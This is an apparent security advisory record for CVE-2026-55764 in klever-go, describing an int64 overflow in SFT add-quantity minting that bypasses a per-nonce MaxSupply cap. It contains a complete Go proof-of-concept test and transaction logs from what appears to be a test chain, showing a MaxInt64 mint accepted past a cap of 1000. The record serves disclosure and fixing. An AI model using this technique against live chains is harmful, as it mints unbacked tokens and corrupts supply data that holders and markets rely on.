{"id":"CVE-2026-55764","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-55764","summary":"klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply","details":"## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative > MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue <= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass.\n\nFull Go PoC (systemAccount package, passes = bug confirmed)
\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := &marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := &commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := &commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := &systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER exploit: Circulation=%d err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\nSetup mint — nonce 1 minted normally with amount=1 (hash 21e8059e…b55aad1a)
\n\n```json\n{\n \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n \"blockNum\": 463,\n \"status\": \"success\",\n \"resultCode\": \"Ok\",\n \"chainID\": \"420420\",\n \"receipts\": [\n {\n \"assetId\": \"F05-2SDF/1\",\n \"assetType\": \"SemiFungible\",\n \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"type\": 0,\n \"typeString\": \"Transfer\",\n \"value\": 1\n }\n ],\n \"contract\": [\n {\n \"type\": 11,\n \"typeString\": \"AssetTriggerContractType\",\n \"parameter\": {\n \"triggerType\": \"Mint\",\n \"assetId\": \"F05-2SDF\",\n \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n \"amount\": 1\n }\n }\n ]\n}\n```\nExploit — MaxInt64 add-quantity to a fresh receiver, result Ok, cap 1000 bypassed (hash 8aff40fa…2e1c981e)
\n\n```json\n{\n \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n \"blockNum\": 484,\n \"status\": \"success\",\n \"resultCode\": \"Ok\",\n \"chainID\": \"420420\",\n \"receipts\": [\n {\n \"assetId\": \"F05-2SDF/1\",\n \"assetType\": \"SemiFungible\",\n \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n \"type\": 0,\n \"typeString\": \"Transfer\",\n \"value\": 9223372036854775807\n }\n ],\n \"contract\": [\n {\n \"type\": 11,\n \"typeString\": \"AssetTriggerContractType\",\n \"parameter\": {\n \"triggerType\": \"Mint\",\n \"assetId\": \"F05-2SDF/1\",\n \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n \"amount\": 9223372036854775807\n }\n }\n ]\n}\n```\n